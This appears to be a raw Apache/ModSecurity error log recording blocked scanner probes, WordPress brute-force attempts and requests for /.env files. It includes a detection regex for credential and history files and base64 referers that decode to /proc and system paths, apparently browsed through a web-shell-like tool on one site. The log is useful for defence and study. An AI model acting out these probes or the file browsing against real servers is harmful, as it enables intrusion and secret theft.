https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OnNjcm9sbGxvY2svZGV2aWNlL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNl [Sat Jun 13 18:09:22.407986 2026] [security2:error] [pid 531155:tid 531389] [client 172.171.3.232:35163] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/class-bda.php"] [unique_id "ai3xMimiP80klyS0NnrxoAAAAXI"] [Sat Jun 13 18:09:22.418967 2026] [access_compat:error] [pid 531797:tid 531896] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L25ldA== [Sat Jun 13 18:09:22.419246 2026] [access_compat:error] [pid 531797:tid 531896] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L25ldA== [Sat Jun 13 18:09:22.445314 2026] [security2:error] [pid 531797:tid 531930] [remote 17.22.237.162:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 162.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xMsTA7b1mZrmcA-8aWAACN0I"] [Sat Jun 13 18:09:22.563951 2026] [security2:error] [pid 531155:tid 531243] [remote 74.7.227.53:57230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3xMimiP80klyS0NnrxowABXVc"], referer: https://northsecuritysystems.com/?product=domo-ip-6-megapixel-serie-pro-30-mts-ir-exir-exterior-ip67-ik10-lente-2-8-mm-wdr-120-db-poe-micro-sd-videoanaliticos-integrados [Sat Jun 13 18:09:22.704720 2026] [security2:error] [pid 531797:tid 532053] [client 191.234.188.123:48074] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/cilng.php"] [unique_id "ai3xMsTA7b1mZrmcA-8aXAAAAks"] [Sat Jun 13 18:09:22.718755 2026] [access_compat:error] [pid 531797:tid 531933] [remote 57.141.14.99:50932] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:22.719168 2026] [access_compat:error] [pid 531797:tid 531933] [remote 57.141.14.99:50932] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:22.834847 2026] [security2:error] [pid 531155:tid 531282] [remote 67.20.76.56:40308] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 56.76.20.67.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "eccl.co.uk"] [uri "/wp-login.php"] [unique_id "ai3xMimiP80klyS0NnrxpwABdn4"] [Sat Jun 13 18:09:22.901227 2026] [access_compat:error] [pid 531155:tid 531159] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDUvZGV2aWNl [Sat Jun 13 18:09:22.901511 2026] [access_compat:error] [pid 531155:tid 531159] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDUvZGV2aWNl [Sat Jun 13 18:09:22.960707 2026] [access_compat:error] [pid 531797:tid 531871] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNDY2MTQzL2N3ZA== [Sat Jun 13 18:09:22.961138 2026] [access_compat:error] [pid 531797:tid 531871] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNDY2MTQzL2N3ZA== [Sat Jun 13 18:09:23.047716 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?del=admin&p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:09:23.047999 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?del=admin&p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:09:23.062116 2026] [security2:error] [pid 531797:tid 531873] [remote 17.241.75.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 152.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xM8TA7b1mZrmcA-8aZwACOwk"] [Sat Jun 13 18:09:23.355310 2026] [access_compat:error] [pid 531797:tid 531946] [remote 57.141.14.30:40770] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:23.355745 2026] [access_compat:error] [pid 531797:tid 531946] [remote 57.141.14.30:40770] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:23.369393 2026] [security2:error] [pid 531797:tid 531886] [remote 17.22.237.237:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 237.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xM8TA7b1mZrmcA-8aawACjBY"] [Sat Jun 13 18:09:23.382593 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:23.383081 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:23.396662 2026] [security2:error] [pid 531155:tid 531377] [client 191.234.188.123:48069] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/yj09.php"] [unique_id "ai3xMymiP80klyS0NnrxuQAAAWY"] [Sat Jun 13 18:09:23.479756 2026] [access_compat:error] [pid 531797:tid 531963] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMwOTg4L25ldA== [Sat Jun 13 18:09:23.480170 2026] [access_compat:error] [pid 531797:tid 531963] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMwOTg4L25ldA== [Sat Jun 13 18:09:23.482107 2026] [security2:error] [pid 531797:tid 532127] [client 191.233.234.186:44704] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/spire.php"] [unique_id "ai3xM8TA7b1mZrmcA-8abwAAApI"] [Sat Jun 13 18:09:23.845314 2026] [access_compat:error] [pid 531797:tid 531895] [remote 57.141.14.55:47053] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:23.845609 2026] [access_compat:error] [pid 531797:tid 531895] [remote 57.141.14.55:47053] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:23.906392 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9ldmVudDQ= [Sat Jun 13 18:09:23.906830 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9ldmVudDQ= [Sat Jun 13 18:09:23.982464 2026] [access_compat:error] [pid 531797:tid 531964] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:09:23.982918 2026] [access_compat:error] [pid 531797:tid 531964] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:09:24.020954 2026] [security2:error] [pid 531797:tid 532018] [client 20.151.217.54:48194] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/aq.php"] [unique_id "ai3xNMTA7b1mZrmcA-8ahQAAAio"] [Sat Jun 13 18:09:24.057671 2026] [security2:error] [pid 531797:tid 531866] [remote 17.22.245.38:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xNMTA7b1mZrmcA-8ahwACZAI"] [Sat Jun 13 18:09:24.150175 2026] [security2:error] [pid 531797:tid 531904] [remote 67.20.76.56:40322] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 56.76.20.67.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "digitise.africa"] [uri "/wp-login.php"] [unique_id "ai3xNMTA7b1mZrmcA-8aiwACISg"] [Sat Jun 13 18:09:24.164027 2026] [security2:error] [pid 531797:tid 532061] [client 34.170.189.242:25368] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "blog-wesonline-ng.nucreativesolutions.com"] [uri "/.env"] [unique_id "ai3xNMTA7b1mZrmcA-8ajAAAAlM"] [Sat Jun 13 18:09:24.212540 2026] [access_compat:error] [pid 531797:tid 531874] [remote 57.141.14.32:31575] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:24.212837 2026] [access_compat:error] [pid 531797:tid 531874] [remote 57.141.14.32:31575] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:24.245710 2026] [security2:error] [pid 531797:tid 531877] [remote 17.246.23.194:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 194.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xNMTA7b1mZrmcA-8akAACaQ0"] [Sat Jun 13 18:09:24.294193 2026] [security2:error] [pid 531797:tid 532043] [client 34.170.189.242:25370] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "blog.wesonline.ng"] [uri "/.env"] [unique_id "ai3xNMTA7b1mZrmcA-8akgAAAkI"] [Sat Jun 13 18:09:24.436232 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:09:24.436698 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:09:24.464565 2026] [access_compat:error] [pid 531797:tid 531925] [remote 57.141.14.99:50958] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:24.464847 2026] [access_compat:error] [pid 531797:tid 531925] [remote 57.141.14.99:50958] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:24.485427 2026] [access_compat:error] [pid 531797:tid 531935] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:09:24.485722 2026] [access_compat:error] [pid 531797:tid 531935] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:09:24.494601 2026] [security2:error] [pid 531797:tid 532128] [client 191.234.188.123:38887] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/greateb.php"] [unique_id "ai3xNMTA7b1mZrmcA-8amgAAApM"] [Sat Jun 13 18:09:24.795130 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.113:24232] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:24.795414 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.113:24232] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:24.926587 2026] [security2:error] [pid 531155:tid 531363] [client 20.151.217.54:48186] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/size.php"] [unique_id "ai3xNCmiP80klyS0Nnrx2gAAAVg"] [Sat Jun 13 18:09:24.936048 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZQ== [Sat Jun 13 18:09:24.936311 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZQ== [Sat Jun 13 18:09:24.995266 2026] [access_compat:error] [pid 531797:tid 531958] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2Jpbg== [Sat Jun 13 18:09:24.995562 2026] [access_compat:error] [pid 531797:tid 531958] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2Jpbg== [Sat Jun 13 18:09:25.109848 2026] [security2:error] [pid 531797:tid 531912] [remote 17.22.253.144:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 144.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] 